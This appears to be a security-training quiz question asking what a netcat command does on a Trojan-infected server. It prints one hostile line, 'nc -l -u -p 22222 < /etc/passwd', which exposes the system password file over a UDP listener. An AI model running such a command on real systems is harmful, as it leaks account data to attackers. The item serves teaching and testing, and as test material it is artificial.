Using Trojans in Hacking

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Background:  A Trojan virus has been placed onto your server. It is sending data from your server to the attacker’s machine. Then you see the hacker has entered the below command:
nc -l -u -p 22222 < /etc/passwd

Q: What will this command do?

a. It will securely delete the /etc/password from your server.

b. It will download the /etc/password from your server to the attacker’s machine.

c. It will load or restore the /etc/passwd file on your server.

d. It will run an update on the /etc/password of your server.

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